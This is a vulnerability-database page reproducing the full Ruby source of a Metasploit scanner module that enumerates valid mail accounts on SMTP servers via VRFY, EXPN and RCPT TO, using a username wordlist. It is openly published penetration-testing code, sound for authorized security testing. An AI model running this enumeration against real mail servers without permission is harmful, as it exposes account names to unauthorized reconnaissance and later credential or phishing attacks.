Lucene search
K

SMTP User Enumeration Utility

🗓️ 01 Sep 2024 00:00:00Reported by Heyder Andrade, nebulus, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 504 Views

SMTP User Enumeration Utility, checks for email user presence and validity

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-1999-0531
1 Jan 199905:00
attackerkb
Circl
CVE-1999-0531
29 May 201815:50
circl
CVE
CVE-1999-0531
4 Feb 200005:00
cve
Cvelist
CVE-1999-0531
4 Feb 200005:00
cvelist
Metasploit
SMTP User Enumeration Utility
21 Jul 201015:23
metasploit
NVD
CVE-1999-0531
1 Jan 199905:00
nvd
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Smtp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
Aliases = [  
'auxiliary/scanner/smtp/enum'  
]  
  
def initialize  
super(  
'Name' => 'SMTP User Enumeration Utility',  
'Description' => %q{  
The SMTP service has two internal commands that allow the enumeration  
of users: VRFY (confirming the names of valid users) and EXPN (which  
reveals the actual address of users aliases and lists of e-mail  
(mailing lists)). Through the implementation of these SMTP commands can  
reveal a list of valid users.  
},  
'References' =>  
[  
['URL', 'http://www.ietf.org/rfc/rfc2821.txt'],  
['OSVDB', '12551'],  
['CVE', '1999-0531']  
],  
'Author' =>  
[  
'Heyder Andrade <heyder[at]alligatorteam.org>',  
'nebulus'  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(25),  
OptString.new('USER_FILE',  
[  
true, 'The file that contains a list of probable users accounts.',  
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')  
]),  
OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true])  
])  
  
deregister_options('MAILTO','MAILFROM')  
end  
  
def smtp_send(data=nil)  
begin  
result=''  
code=0  
sock.put("#{data}")  
result=sock.get_once  
result.chomp! if(result)  
code = result[0..2].to_i if result  
return result, code  
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError  
return result, code  
rescue ::Exception => e  
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")  
return nil, 0  
end  
end  
  
def run_host(ip)  
users_found = {}  
result = nil # temp for storing result of SMTP request  
code = 0 # status code parsed from result  
vrfy = true # if vrfy allowed  
expn = true # if expn allowed  
rcpt = true # if rcpt allowed and useful  
usernames = extract_words(datastore['USER_FILE'])  
  
cmd = 'HELO' + " " + "localhost" + "\r\n"  
connect  
result, code = smtp_send(cmd)  
  
if(not result)  
print_error("#{rhost}:#{rport} Connection but no data...skipping")  
return  
end  
banner.chomp! if (banner)  
if(banner =~ /microsoft/i and datastore['UNIXONLY'])  
print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})")  
return  
elsif(banner)  
print_status("#{rhost}:#{rport} Banner: #{banner}")  
end  
  
domain = result.split()[1]  
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')  
  
  
vprint_status("#{ip}:#{rport} Domain Name: #{domain}")  
  
result, code = smtp_send("VRFY root\r\n")  
vrfy = (code == 250)  
users_found = do_enum('VRFY', usernames) if (vrfy)  
  
if(users_found.empty?)  
# VRFY failed, lets try EXPN  
result, code = smtp_send("EXPN root\r\n")  
expn = (code == 250)  
users_found = do_enum('EXPN', usernames) if(expn)  
end  
  
if(users_found.empty?)  
# EXPN/VRFY failed, drop back to RCPT TO  
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")  
if(code == 250)  
user = Rex::Text.rand_text_alpha(8)  
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")  
if(code >= 250 and code <= 259)  
vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'")  
rcpt = false  
else  
smtp_send("RSET\r\n")  
users_found = do_rcpt_enum(domain, usernames)  
end  
else  
rcpt = false  
end  
end  
  
if(not vrfy and not expn and not rcpt)  
print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)")  
return  
end  
finish_host(users_found)  
disconnect  
  
rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT  
rescue ::Exception => e  
print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'")  
end  
  
def finish_host(users_found)  
if users_found and not users_found.empty?  
print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}")  
report_note(  
:host => rhost,  
:port => rport,  
:type => 'smtp.users',  
:data => {:users => users_found.join(", ")}  
)  
end  
end  
  
def kiss_and_make_up(cmd)  
vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...")  
disconnect  
connect  
smtp_send("HELO localhost\r\n")  
result, code = smtp_send("#{cmd}")  
result.chomp!  
cmd.chomp!  
vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'")  
return result,code  
end  
  
def do_enum(cmd, usernames)  
  
users = []  
usernames.each {|user|  
next if user.downcase == 'root'  
result, code = smtp_send("#{cmd} #{user}\r\n")  
vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'")  
result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '')  
if(code == 250)  
vprint_status("#{rhost}:#{rport} - Found user: #{user}")  
users.push(user)  
end  
}  
return users  
end  
  
def do_rcpt_enum(domain, usernames)  
users = []  
usernames.each {|user|  
next if user.downcase == 'root'  
vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...")  
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")  
result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '')  
  
if(code == 250)  
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")  
if(code == 0 and result.to_s == '')  
kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n")  
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")  
end  
  
if(code == 250)  
vprint_status("#{rhost}:#{rport} - Found user: #{user}")  
users.push(user)  
end  
else  
vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')")  
break  
end  
smtp_send("RSET\r\n")  
}  
return users  
end  
  
def extract_words(wordfile)  
return [] unless wordfile && File.readable?(wordfile)  
  
begin  
File.readlines(wordfile, chomp: true)  
rescue ::StandardError => e  
elog(e)  
[]  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation